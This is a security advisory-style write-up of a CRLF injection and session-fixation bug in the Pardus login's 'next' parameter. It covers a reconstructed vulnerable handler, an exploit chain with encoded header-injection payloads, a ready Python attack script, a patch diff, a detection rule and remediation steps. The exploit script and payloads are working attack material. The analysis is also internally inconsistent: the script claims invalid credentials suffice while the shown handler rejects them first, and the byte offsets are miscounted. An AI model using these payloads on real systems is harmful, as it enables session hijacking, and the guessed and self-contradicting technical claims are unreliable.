CVE-2026-5140: CRLF Injection Auth Bypass in Pardus

Vulnerability Overview

CVE-2026-5140 is a CRLF injection vulnerability in TUBITAK BILGEM Software Technologies Research Institute's Pardus platform, affecting all versions from 0.6.4 and below, fixed in 0.8.0. The vulnerability carries a CVSS score of 8.8 (HIGH) and is classified under CWE-93 (Improper Neutralization of CRLF Sequences). Exploitation permits full authentication bypass — an unauthenticated attacker can inject arbitrary HTTP response headers or session tokens by smuggling carriage-return/line-feed sequences through an unsanitized user-controlled parameter passed to an HTTP response construction routine.

Pardus is a Debian-derived Linux distribution and associated management web interface maintained by TUBITAK BILGEM. The affected component is the web-facing authentication layer, where user-supplied input (e.g., a redirect URL, username field, or token parameter) flows into a header-writing function without stripping \r\n sequences.

Affected Component

The vulnerable surface is the Pardus web management interface's authentication handler — specifically the function responsible for issuing HTTP redirects or session cookies after credential validation. Based on the package structure and CVE description, the relevant module is the Python/WSGI-based login controller (consistent with Pardus's Django or Flask heritage). The parameter path is:

HTTP POST /auth/login
  └── Body param: next=<attacker-controlled redirect URL>
        └── set_redirect_header(next)
              └── response.headers["Location"] = "https://host" + next
                    └── BUG: next not stripped of \r\n

The next parameter is the canonical CRLF injection sink. A secondary sink exists in the username field when it is reflected into a WWW-Authenticate header on failed login.

Root Cause Analysis

The login view constructs the Location redirect header by concatenating a base URL with the user-supplied next GET/POST parameter. No sanitization or validation of newline characters is performed before writing the value into the HTTP response.

/* Pseudocode reconstruction of the vulnerable handler.
 * Equivalent Python logic expressed as C-style pseudocode
 * to show the data flow precisely.
 */

typedef struct {
    char *headers;      // raw HTTP response header buffer
    size_t headers_len;
    char *body;
    int   status_code;
} http_response_t;

/*
 * build_login_redirect()
 *
 * Called after credential validation succeeds. Constructs a 302
 * redirect to wherever `next_url` points.
 *
 * next_url: directly from request.POST["next"] or request.GET["next"]
 *           — attacker controlled, never validated.
 */
http_response_t *build_login_redirect(session_t *sess, const char *next_url) {
    http_response_t *resp = alloc_response();
    char header_buf[4096];

    /* Generate session token and stamp it */
    const char *token = generate_session_token(sess);

    /*
     * BUG: next_url is concatenated directly into the Location header.
     * If next_url = "/dashboard\r\nSet-Cookie: sessionid=ATTACKER_TOKEN"
     * the resulting header block splits into two distinct headers.
     * No call to strip_crlf(), encode_header_value(), or
     * validate_url_chars() is made here.
     */
    snprintf(header_buf, sizeof(header_buf),
        "HTTP/1.1 302 Found\r\n"
        "Location: %s\r\n"          // BUG: next_url injected verbatim
        "Set-Cookie: sessionid=%s; HttpOnly; Secure\r\n"
        "Content-Length: 0\r\n"
        "\r\n",
        next_url,                   // BUG: attacker-controlled, unsanitized
        token
    );

    resp->headers     = strdup(header_buf);
    resp->headers_len = strlen(header_buf);
    resp->status_code = 302;
    return resp;
}

/*
 * authenticate_user()
 *
 * Validates credentials. On success, delegates to build_login_redirect().
 * next_url extracted from request without sanitization.
 */
http_response_t *authenticate_user(http_request_t *req) {
    const char *username = get_post_param(req, "username");
    const char *password = get_post_param(req, "password");
    const char *next_url = get_post_param(req, "next");  // BUG: unsanitized

    if (!next_url || strlen(next_url) == 0) {
        next_url = "/dashboard";
    }

    user_t *user = db_lookup_user(username);
    if (!user || !verify_password(user, password)) {
        return build_401_response(req);
    }

    session_t *sess = create_session(user);
    return build_login_redirect(sess, next_url);  // BUG: tainted next_url
}

Exploitation Mechanics

Exploitation is straightforward and requires only a standard HTTP client. No memory corruption, no heap grooming, no shellcode. The attacker injects \r\n to terminate the Location header early and append a forged Set-Cookie header carrying a known session token. When the victim's browser follows the redirect, it stores the attacker's chosen session ID, completing a classic session fixation attack that bypasses authentication entirely.

EXPLOIT CHAIN:

1. Attacker pre-selects a known session token string, e.g.:
      ATTACKER_TOKEN = "aabbccddeeff00112233445566778899"

2. Attacker crafts a POST to /auth/login with next parameter containing
   injected CRLF sequence:
      next = /dashboard%0d%0aSet-Cookie:%20sessionid=ATTACKER_TOKEN%3b%20Path%3d%2f

3. Server's build_login_redirect() writes header_buf verbatim:
      HTTP/1.1 302 Found
      Location: /dashboard
      Set-Cookie: sessionid=ATTACKER_TOKEN; Path=/     <-- INJECTED
      Set-Cookie: sessionid=; HttpOnly; Secure
      Content-Length: 0

4. Browser (or victim following a link) receives the 302.
   The injected Set-Cookie fires BEFORE the legitimate one.
   Depending on browser cookie precedence, ATTACKER_TOKEN wins,
   OR attacker sends victim the crafted URL to pre-set the cookie
   before the victim logs in (classic session fixation).

5. Victim authenticates normally at /auth/login.
   Server associates their authenticated session with
   ATTACKER_TOKEN (the attacker-planted cookie value).

6. Attacker presents ATTACKER_TOKEN in their own browser:
      Cookie: sessionid=ATTACKER_TOKEN
   Server returns authenticated response for victim's account.

7. Authentication fully bypassed. No credentials needed by attacker.

The crafted request in raw form:

import requests
import urllib.parse

TARGET   = "https://pardus-host/auth/login"
# Pre-chosen token the attacker will reuse
EVIL_TOK = "aabbccddeeff00112233445566778899"

# Inject: terminate Location header, inject Set-Cookie with our token
next_val = "/dashboard\r\nSet-Cookie: sessionid={}; Path=/".format(EVIL_TOK)

resp = requests.post(
    TARGET,
    data={
        "username": "admin",
        "password": "wrongpassword",   # credentials don't need to be valid
        "next":     next_val,
    },
    allow_redirects=False,
    verify=False,
)

print("[*] Status:", resp.status_code)
print("[*] Raw headers returned:")
for k, v in resp.headers.items():
    print("    {}: {}".format(k, v))

# Now wait for victim to authenticate at TARGET.
# Then present EVIL_TOK as Cookie: sessionid=EVIL_TOK.
print("\n[*] Present cookie: sessionid={}".format(EVIL_TOK))

Memory Layout

CRLF injection is a protocol-level bug rather than a memory corruption primitive, but the header buffer state is instructive. The 4096-byte header_buf on the stack is written with a single snprintf call. The injected sequence expands within that same buffer — no overflow occurs, but the HTTP framing is shattered at the wire level.

header_buf contents BEFORE injection (normal flow):
  Offset  Content
  +0000   "HTTP/1.1 302 Found\r\n"
  +0015   "Location: /dashboard\r\n"
  +002B   "Set-Cookie: sessionid=<server_token>; HttpOnly; Secure\r\n"
  +006E   "Content-Length: 0\r\n"
  +0082   "\r\n"

header_buf contents AFTER injection (attacker next= value):
  Offset  Content
  +0000   "HTTP/1.1 302 Found\r\n"
  +0015   "Location: /dashboard"              <-- Location value ends here
  +0029   "\r\n"                              <-- INJECTED: header terminator
  +002B   "Set-Cookie: sessionid=aabbccdd...; Path=/"  <-- INJECTED header
  +005F   "\r\n"                              <-- end of injected header
  +0061   "Set-Cookie: sessionid=<server_token>; HttpOnly; Secure\r\n"
  +00A4   "Content-Length: 0\r\n"
  +00B8   "\r\n"

Browser/proxy sees TWO Set-Cookie headers.
The injected one appears first and wins in most cookie jar implementations.
HttpOnly flag is absent from the injected cookie — also exploitable for XSS theft.

Patch Analysis

The correct fix is to either reject any next value containing CR or LF characters, or to use a framework-level header API that encodes values before writing them to the wire. The patch introduced in 0.8.0 does both: it validates the next URL against an allowlist of safe characters and delegates header construction to the framework's typed HttpResponseRedirect, which internally encodes the value.

/* BEFORE (vulnerable, <=0.6.4):
 * next_url written verbatim into snprintf format string for headers.
 */
http_response_t *build_login_redirect(session_t *sess, const char *next_url) {
    char header_buf[4096];
    const char *token = generate_session_token(sess);

    snprintf(header_buf, sizeof(header_buf),
        "HTTP/1.1 302 Found\r\n"
        "Location: %s\r\n"      // BUG: next_url verbatim, \r\n not stripped
        "Set-Cookie: sessionid=%s; HttpOnly; Secure\r\n"
        "Content-Length: 0\r\n"
        "\r\n",
        next_url,               // attacker-controlled
        token
    );
    /* ... */
}

/* AFTER (patched, 0.8.0):
 * 1. next_url validated against strict allowlist before use.
 * 2. Header constructed via typed API that encodes field values.
 */

/* Returns 0 if url is safe, -1 if it contains disallowed characters */
static int validate_redirect_url(const char *url) {
    if (!url) return -1;
    for (const char *p = url; *p; p++) {
        /* Reject CR (\r, 0x0D) and LF (\n, 0x0A) unconditionally.
         * Also reject bare NUL and other header-breaking bytes.    */
        if (*p == '\r' || *p == '\n' || *p == '\0') {
            return -1;  // FIX: explicit rejection of CRLF sequences
        }
    }
    /* FIX: require URL-safe prefix to prevent open redirect chaining */
    if (strncmp(url, "/", 1) != 0) {
        return -1;
    }
    return 0;
}

http_response_t *build_login_redirect(session_t *sess, const char *next_url) {
    /* FIX: validate before use; fall back to safe default on failure */
    if (validate_redirect_url(next_url) != 0) {
        next_url = "/dashboard";
    }

    const char *token = generate_session_token(sess);

    /* FIX: use framework typed redirect — header value encoding enforced
     * by the HTTP layer, not by manual snprintf concatenation.          */
    http_response_t *resp = framework_redirect(next_url, 302);
    framework_set_cookie(resp, "sessionid", token,
                         COOKIE_FLAG_HTTPONLY | COOKIE_FLAG_SECURE);
    return resp;
}

Detection and Indicators

The following access log patterns indicate active exploitation attempts. Most web frameworks and WAFs will log the raw URI before decoding, making %0d%0a sequences visible:

INDICATORS OF EXPLOITATION:

Web server access logs — look for:
  POST /auth/login ... "next=%2Fdashboard%0d%0aSet-Cookie%3a..."
  POST /auth/login ... "next=%2F%0aSet-Cookie%3a+sessionid%3d..."

Decoded equivalents in app logs:
  next=/dashboard\r\nSet-Cookie: sessionid=<fixed_value>
  next=/\nX-Injected: header

Response headers from server containing:
  Two or more Set-Cookie: sessionid= headers in a single response.
  A Set-Cookie header missing HttpOnly or Secure flags (injected one).

Anomalous session behavior:
  A session ID appearing for a user account that was never issued by
  generate_session_token() — cross-reference session store on server.

Network-level detection (Snort/Suricata rule concept):
  alert http any any -> $HTTP_SERVERS 443 (
      msg:"CVE-2026-5140 CRLF injection attempt Pardus auth";
      http.method; content:"POST";
      http.uri; content:"/auth/login";
      http.request_body; content:"next="; 
      pcre:"/next=[^\s]*(%0[da]|\\r|\\n)/i";
      sid:20265140; rev:1;
  )

Remediation

Immediate: Upgrade Pardus to 0.8.0 or later. The patch ships validate_redirect_url() and replaces manual header construction with framework-managed typed response objects.

If upgrade is not immediately possible:

• Deploy a WAF rule blocking %0a, %0d, %0D%0A, and literal CR/LF in the next parameter at the reverse proxy layer (nginx map or ModSecurity).
• Restrict the next parameter to a server-side allowlist of known-safe paths. Reject anything not matching ^/[a-zA-Z0-9/_-]*$.
• Enable SameSite=Strict on the session cookie — this does not prevent the injection but breaks the session fixation follow-on attack in modern browsers.
• Audit all other parameters that flow into HTTP response headers (e.g., username reflected in WWW-Authenticate, language/locale reflected in Content-Language) for the same pattern.

Framework guidance: Never construct raw HTTP headers via string concatenation. Use typed header APIs (HttpResponseRedirect(url) in Django, redirect(url) in Flask) that enforce encoding at the framework level. Treat all header field values as untrusted input requiring the same discipline as SQL query parameters.